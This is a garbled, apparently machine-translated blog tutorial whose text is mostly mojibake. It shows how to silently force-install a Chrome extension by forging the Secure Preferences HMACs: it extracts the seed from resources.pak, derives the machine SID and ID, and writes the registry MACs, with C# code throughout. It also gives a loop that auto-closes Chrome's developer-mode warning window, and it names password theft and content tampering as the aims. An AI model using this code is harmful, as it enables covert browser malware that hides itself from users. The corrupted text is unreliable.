
рд╢реБрдн рджрд┐рди, рдкреНрд░рд┐рдп рдкрд╛рдардХ! рдХреНрд░реЛрдо рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреНрд░реЛрдо рдкрд░ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдирдпрд╛ рд▓реЗрдЦ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ --рд▓реЛрдб-рдПрдХреНрд╕рдЯреЗрдВрд╢рди - рд▓реЗрдХрд┐рди рдпрд╣ рд╣рдорд╛рд░рд╛ рд╡рд┐рдХрд▓реНрдк рдирд╣реАрдВ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╣рдо рдЖрд╕рд╛рди рддрд░реАрдХреЛрдВ рдХреА рддрд▓рд╛рд╢ рдирд╣реАрдВ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдЖрдЬ рдореИрдВ рдЖрдкрдХреЛ рдмрддрд╛рддрд╛ рд╣реВрдБ рдХрд┐ рдПрдХ exe-shnik рдХреЗ рд╕рд╛рде рд╕рдм рдХреБрдЫ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдХреИрд╕реЗ рд╕рдВрднрд╡ рд╣реИ: рдкрд╛рд╕рд╡рд░реНрдб, рд╕рд╛рдордЧреНрд░реА рдмрджрд▓рдирд╛, рдЪреЛрд░реА рдХреИрд╕реЗ рдХрд░рдирд╛, рдЖрджрд┐ред - рд▓реЗрдХрд┐рди рдпрд╣
рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рдирд╣реАрдВ рд╣реИ , рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рд╕рдореАрдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рд▓реЗрдЦ рд╣реИред рдХрдЯ рдХреЗ рдиреАрдЪреЗ рд╕рд╛рд░рд╛ рд░рд╕ред
рдФрд░ рдЗрд╕рд▓рд┐рдП, рдХреНрдпрд╛ рд╣рдореЗрдВ рдбреЗрд╡рд▓рдкрд░ рдореЛрдб рдореЗрдВ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ? рдЦреИрд░, рдПрдХ рдирд┐рдпрдорд┐рдд рд╡рд┐рд╕реНрддрд╛рд░ рдХреА рддрд░рд╣, рдпрд╣ рд╕рднреА рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдФрд░, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдХреНрд░реИрдХ рдХрд░реЗрдВ, рд╡рд┐рдЬреНрдЮрд╛рдкрдиреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░реЗрдВ, рдФрд░ рдЗрд╕реА рддрд░рд╣ред рд▓реЗрдХрд┐рди рдбреЗрд╡рд▓рдкрд░ рдореЛрдб рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░ рдПрдХ рдЕрдиреНрдп рд╕реБрд╡рд┐рдзрд╛ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рдирд╣реАрдВ рд▓рдЧрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ: рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рддрдХ рдкрд╣реБрдВрдЪ рд╣реИред рд╣рд╛рдВ, рд╣рдо рдЗрд╕ рд╢реЛрд╖рдг рдХреЛ рдПрдХ exe рдлрд╝рд╛рдЗрд▓ рд╕реЗ рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдФрд░, рд╕рд┐рджреНрдзрд╛рдВрдд рд░реВрдк рдореЗрдВ, рд╣рдореЗрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдХреНрдпрд╛ рд╣реЛрдЧрд╛?
рд╣рдо рдлрд╛рдЗрд▓реЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддреЗ рд╣реИрдВ
рдФрд░ рдЗрд╕рд▓рд┐рдП, рд╢реБрд░реБрдЖрдд рдХреЗ рд▓рд┐рдП, рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдХреМрди рд╕реА рдлрд╛рдЗрд▓реЗрдВ рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╣реЛрдВрдЧреА, рд╣рдо рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣% appdata% \ .. \ Local \ Google \ Chrome \ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдбреЗрдЯрд╛ \ <рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓> \ Secure Preferences рд╣реИред рдЪрд▓реЛ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдХреЙрдкреА рдХрд░рддреЗ рд╣реИрдВ, рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рд╣рдЯрд╛рддреЗ рд╣реИрдВ рдФрд░ рдХреЙрдкреА рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╣реИрдВ - рдпрд╣рд╛рдВ рдмреИрдо! рдФрд░ рд╡рд┐рд╕реНрддрд╛рд░ рдлрд┐рд░ рд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдЖрдИрдбреА рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕ рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рджреЛ рдорд╛рди рдмрджрд▓ рд░рд╣реЗ рд╣реИрдВ: Extension.settings.id рдФрд░ protection.macs.extensions.settings.id - рдкрд╣рд▓рд╛ рд╕реЗрдЯрд┐рдВрдЧ рд╣реИ, рджреВрд╕рд░рд╛ рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХрд╛ рд╣реИрд╢ рд╣реИред рд╣рдо рдкреНрд░рдХрд╛рд░реЛрдВ рдореЗрдВ рдЪрдврд╝рддреЗ рд╣реИрдВ рдФрд░ рджреЗрдЦрддреЗ рд╣реИрдВ - рдпрд╣ HMAC SHA256 рд╣реИред рд▓реЗрдХрд┐рди рдЙрд╕реЗ рдЗрд╕рд╕реЗ рдХреНрдпрд╛ рдорд┐рд▓рддрд╛ рд╣реИ? рдЪрд▓реЛ рдбрд┐рдмрдЧрд░ рдореЗрдВ рдЖрддреЗ рд╣реИрдВ, рдХреНрд░реЛрдо рд╕реЗ рд╕рдВрд▓рдЧреНрди рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдкреНрд░рддреАрдХреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ
https://chromium-browser-symsrv.commondatastorage.googleapis.com
рдмрд▓рд╛рддреНрдХрд╛рд░ рдХреНрд░реЛрдо
рд╡рд╛рд╣! рд╣рдореЗрдВ рдлрд╝рд╛рдЗрд▓ pref_hash_calculator.cc рдорд┐рд▓ рдЧрдИ рд╣реИ, рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ, рдПрдХ рдмреНрд░реЗрдХ рд╕реЗрдЯ рдХрд░реЗрдВ
std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const
Op - рд╣рдореЗрдВ рдмреАрдЬ_ рдорд┐рд▓рддрд╛ рд╣реИ - HMAC рдХреЗ рд▓рд┐рдП рдХреБрдВрдЬреА, рдФрд░ рд╣рдо рдпрд╣ рднреА рдкрддрд╛ рд▓рдЧрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рддреАрди рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЛ рдорд┐рд▓рд╛рддрд╛ рд╣реИ рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ HMACSHA256 (рдбрд┐рд╡рд╛рдЗрд╕_рдЖрдИрдбреА + рдкрде + рдорд╛рди, рдмреАрдЬ_) рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЗрддрд╛ рд╣реИред рдареАрдХ рд╣реИ, рдЖрдЗрдП рд╣рдорд╛рд░реЗ рдмреАрдЬ_ рдХреЛ рджреЗрдЦреЗрдВ - рдФрд░ рдпрд╣рд╛рдВ рдкрд╣рд▓рд╛ рдЪрд┐рд░рд╛рдЧ рд╣рдореЗрдВ рдЗрдВрддрдЬрд╛рд░ рдХрд░ рд░рд╣рд╛ рд╣реИ: рдпрд╣ рд╕рд┐рд░реНрдл "ChromeRegistryHashStoreValidationSeed" рд▓рд╛рдЗрди рд╣реИ - рдкреВрдЫреЗрдВ, рдЗрд╕рдореЗрдВ рдЧрд▓рдд рдХреНрдпрд╛ рд╣реИ? рдФрд░ рдЪрд▓реЛ рдЧрдгрдирд╛ рдХреЗ рдкрд░рд┐рдгрд╛рдо рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВ, рдЗрд╕ рд░рд╛рд╕реНрддреЗ рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд░рд┐рдгрд╛рдорд┐рдд рд╣реИрд╢ рдФрд░ рд╣реИрд╢ рдХреА рддреБрд▓рдирд╛ рдХрд░реЗрдВ - рд╣рдо рдирд┐рд░рд╛рд╢ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдирд╣реАрдВ! "рд░рдЬрд┐рд╕реНрдЯреНрд░реА" рдХреБрдВрдЬреА рдореЗрдВ рдореБрдЦреНрдп рд╢рдмреНрдж, рд╣рдо рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рдЪрдврд╝рддреЗ рд╣реИрдВ, рджреЗрдЦреЛ - рдФрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрд╣ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рд╣реИрд╢ рдХреЗ рд▓рд┐рдП рдХреБрдВрдЬреА рд╣реИ, рд╣рдореЗрдВ рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред
рдбреЗрдмрд┐рдЯ, рдбреЗрдмрд┐рдЯ рдФрд░ рд╣рд░ рдЬрдЧрд╣ рдХреЗрд╡рд▓ рдпрд╣реА рдХреБрдВрдЬреА, рдХреНрдпрд╛ рдЧрд▓рдд рд╣реИ? рдЕрдм рдЖрдЗрдП рдирдЬрд░ рдбрд╛рд▓рддреЗ рд╣реИрдВ рдХрд┐ HMACSHA256 рдХреА рдорд╛рдирдХ рдХреБрдВрдЬреА рдХрд┐рддрдиреЗ рд╕рдордп рдХреЗ рд▓рд┐рдП рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП? 64 рдмрд╛рдЗрдЯреНрд╕, рдФрд░ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ рд▓рд╛рдЗрди рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдХрд┐рд╕реА рддрд░рд╣ рдХреА рдмрд╛рдЗрдЯред рд╕реБрд▓рдЭрд╛рдиреЗ рдХреЗ рд▓рд┐рдП? рд╕рдордп рдирд╣реАрдВ рд╣реИ! рдкрд╣рд▓реА рдзрд╛рд░рдгрд╛ - рд╣рдорд╛рд░рд╛ рдмреАрдЬ_ рдХреНрд░реЛрдо рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рд╣рд╛рд░реНрдбрдХреЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ - рдЖрдЗрдП рджреНрд╡рд┐рдкрджреАрдп рдФрд░ рдХреНрд░реЛрдо рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ 64x рд▓рдЧрд╛рддрд╛рд░ рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рд╕рднреА рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЙрд░реНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред рд╣рдо рдПрдХ рд╕рд╛рдзрд╛рд░рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦрддреЗ рд╣реИрдВ рдФрд░ рд▓рдЧрднрдЧ рдПрдХ рдШрдВрдЯреЗ рдореЗрдВ рд╣рдореЗрдВ рдкрд╣рд▓рд╛ рдкрд░рд┐рдгрд╛рдо рдорд┐рд▓рддрд╛ рд╣реИ: рд╣рдорд╛рд░реЗ рдмреАрдЬ_ рд░рд┐рд╕реЛрд░реНрд╕ рдореЗрдВ рдирд┐рд╣рд┐рдд рд╣реИрдВред рдЖрдЗрдП рдЧреВрдЧрд▓ рд╕рдВрд░рдЪрдирд╛ рдХрд░реЗрдВред

рд╕рдВрд╕реНрдХрд░рдг 4, рд╣рдорд╛рд░рд╛ рд╣реИ 5. рдХреБрдЫ рдЧрд▓рдд рд╣реИ, рд╢рд╛рдпрдж рд╕рдВрд░рдЪрдирд╛ рдирд╣реАрдВ рдмрджрд▓реА рд╣реИ? рд▓реЗрдХрд┐рди рдирд╣реАрдВред рдХреБрдЫ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рдмрд╛рдж, рд╣рдо рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рд╕рдВрд░рдЪрдирд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ: 4 рдмрд╛рдЗрдЯреНрд╕ рд╕рдВрд╕реНрдХрд░рдг (5), 4 рдмрд╛рдЗрдЯреНрд╕ - рдПрдиреНрдХреЛрдбрд┐рдВрдЧред (1), 2 рдмрд╛рдЗрдЯреНрд╕ - рд░рд┐рдХреЙрд░реНрдб рдХреА рд╕рдВрдЦреНрдпрд╛, 2 рдмрд╛рдЗрдЯреНрд╕ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд╣реИред рдЕрдЧрд▓реЗ рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдВ рд╣реИрдВ: 2 рдмрд╛рдЗрдЯреНрд╕ - рдЖрдИрдбреА, 4 рдмрд╛рдЗрдЯреНрд╕ - рдлрд╝рд╛рдЗрд▓ рдХреА рд╢реБрд░реБрдЖрдд рдХреЗ рд╕рд╛рдкреЗрдХреНрд╖ рдСрдлрд╕реЗрдЯред рд╣рдо 64 рдмрд╛рдЗрдЯреНрд╕ рдХреА рд▓рдВрдмрд╛рдИ рдХреЗ рд╕рд╛рде рдПрдХ рдЦрдВрдб рдХреА рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ - рдФрд░ рд╣рд╛рдВ, рд╣рдо рдЗрд╕реЗ рдвреВрдВрдврддреЗ рд╣реИрдВ, рдпрд╣ рд╣рдорд╛рд░рд╛ рдмреАрдЬ_ рд╣реИред рдЕрдм рдЪрд▓реЛ рдПрдХ рдлрдВрдХреНрд╢рди рдХреЛ рдмреАрдЬ_ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓рд┐рдЦреЗрдВред
public static byte[] GetSeed(string resources_pak) {
рдареАрдХ рд╣реИ, рдЪрд▓реЛ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдмрджрд▓рддреЗ рд╣реИрдВ, рдФрд░ рд╣реИрд╢ - рд╡рд┐рдлрд▓рддрд╛ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВред рдкрд╣рд▓реА рдЪреАрдЬ рдЬреЛ рдЖрдк рдХреНрд░реЛрдо рдкреНрд░рдХрд╛рд░ рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рд╡рд╣ рдпрд╣ рд╣реИ рдХрд┐ рд╕рднреА рдЦрд╛рд▓реА рд╡рд╕реНрддреБрдУрдВ рдХреЛ рдореВрд▓реНрдп рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдареАрдХ рд╣реИ, рдпрд╣ рдХрд╣рд╛ рдЧрдпрд╛ рд╣реИред
рдлрд┐рд░ рд╕реЗ рдЕрд╕рдлрд▓рддрд╛ - рд╣рдореЗрдВ рд╕рдВрд░рдХреНрд╖рдг рдХреЗ рд╕рд╛рде рд╣реА HMACSHA256 рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рд╕рд╛рде рд╣реА, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдорд╛рд░реНрдЧ рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╕реБрдкрд░! рд╣рдо рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ред рд▓реЗрдХрд┐рди, рд╣рдо рдбрд┐рд╡рд╛рдЗрд╕_рдЖрдИрдбреА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рднреВрд▓ рдЧрдП - рдореБрдЭреЗ рдпрд╣ рдХрд╣рд╛рдВ рдорд┐рд▓ рд╕рдХрддрд╛ рд╣реИ? рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ, рдпрд╣ рдерд░реНрдб-рдкрд╛рд░реНрдЯреА RLZ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд╕реЗ рдорд╢реАрди рд╣реИред рдирдП рд▓реЛрдЧреЛрдВ рдореЗрдВ, рдмрд╕ рдкреАрд╕реА рдХреЗ рдПрд╕рдЖрдИрдбреАред рдЗрд╕реЗ рдХреИрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ? рджреВрд╕рд░реЗ рд╡рд┐рдХрд▓реНрдк рдФрд░ рдХреНрд░реЛрдо рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП:
public static string GetSID() { StringBuilder sb = new StringBuilder(260); int size = 260; GetComputerName(sb, ref size); byte[] Sid = null; uint cbSid = 0; string accountName = sb.ToString(); StringBuilder referencedDomainName = new StringBuilder(); uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; SID_NAME_USE sidUse; int err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) { err = Marshal.GetLastWin32Error(); if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) { Sid = new byte[cbSid]; referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) err = Marshal.GetLastWin32Error(); } } else {
рдФрд░, рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд▓рд┐рдП:
public static string GetMachineId(string sid) { string dir = Environment.SystemDirectory; dir = dir.Substring(0, dir.IndexOf("\\") + 1); StringBuilder volname = new StringBuilder(261); StringBuilder fsname = new StringBuilder(261); uint sernum, maxlen; FileSystemFeature flags; if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity)) Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); byte[] sid_str = (Hash(sid)); byte[] bts = new byte[sid_str.Length + 4]; for (int i = 0; i < sid_str.Length; i++) bts[i] = sid_str[i]; for (int i = 0; i < sizeof(int); i++) { int shift_bits = 8 * (sizeof(int) - i - 1); bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF); } byte b = Crc8.Gen(bts); var sb = new StringBuilder(bts.Length + 1); foreach (byte bb in bts) sb.Append(bb.ToString("X2")); sb.Append(b.ToString("X2")); return sb.ToString(); }
рдФрд░ рдЗрд╕рд▓рд┐рдП, рдпрд╣ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдкрд░ рдордЬрд╝рд╛рдХ рдЙрдбрд╝рд╛рдиреЗ рдФрд░ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд░рд╣рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреНрд░реЛрдо рдХреЛ рдмрдВрдж рдХрд░рдирд╛:
public static void Install() { string path = Unzip(); string id = ""; string flags = "" + ((1 << 7) | (1 << 2)); string loc = "4"; id = "dblokgoogmhjemeebajnamjdmloolcjd"; string setting = " "; preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C")); preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)))); string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings"; string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))); Registry.SetValue(abc, id, reg_key); string macs = GetSecure("protection.macs"); preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs)); Process process = new Process();
рдпрд╣ рднреА рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдЕрдм рдЬрдм рдЖрдк рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЦреЛрд▓рддреЗ рд╣реИрдВ, рддреЛ рд╡рд┐рдВрдбреЛ "рдбреЗрд╡рд▓рдкрд░ рдореЛрдб рдореЗрдВ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ" рдЦреБрд▓рддрд╛ рд╣реИ - рдЗрд╕реЗ рдХреИрд╕реЗ рдмрдВрдж рдХрд░реЗрдВ рдпрд╣ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╣рд░ рдХрд┐рд╕реА рдХреА рдкрд╕рдВрдж рд╣реИред рдореИрдВ рдЕрдкрдиреЗ рдмрд╛рдж рдПрдХ рд╕реНрдЯреНрд░реАрдо рдХреИрд╕реЗ рдЫреЛрдбрд╝ рд╕рдХрддрд╛ рд╣реВрдВ рдЬреЛ WinAPI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕ рд╡рд┐рдВрдбреЛ рдХреЛ рдмрдВрдж рдХрд░ рджреЗрдЧрд╛:
public static void CheckWindows() { while (true) { Process[] pcs = Process.GetProcessesByName("chrome"); if (pcs.Length > 0) { List<IntPtr> ww = GetChildWindows(IntPtr.Zero); foreach (var hwnd in ww) { try { uint pidd = 0; GetWindowThreadProcessId(hwnd, out pidd); IntPtr pid = (IntPtr)pidd; IntPtr hProcess = OpenProcess(0x0410, false, pidd); StringBuilder text = new StringBuilder(1000); GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity); CloseHandle(hProcess); if (!text.ToString().EndsWith("chrome.exe")) continue; const int nChars = 256; StringBuilder Buff = new StringBuilder(nChars); if (GetWindowText(hwnd, Buff, nChars) > 0) { string name = Buff.ToString(); if (names.Contains(name)) SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); } Thread.Sleep(1); } catch { } Thread.Sleep(1); } } else Thread.Sleep(10); } }
рдЧреБрдб рд▓рдХ рдФрд░ рдПрдерд┐рдХрд▓ рд╣реИрдХрд┐рдВрдЧ! рдЬреЛ рдпреИрдВрдбреЗрдХреНрд╕ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рд╕рд╛рде рдРрд╕рд╛ рдХрд░рдирд╛ рдЬрд╛рдирддрд╛ рд╣реИ - рдпрд╣ рдЬрд╛рдирдирд╛ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрдЧрд╛ рдХрд┐ рдХреНрдпрд╛ рдореИрдВ рдЗрд╕реЗ рдПрдХ рд╕рдкреНрддрд╛рд╣ рдХреЗ рд▓рд┐рдП рд▓реЗрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рд╣реВрдВ, рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИред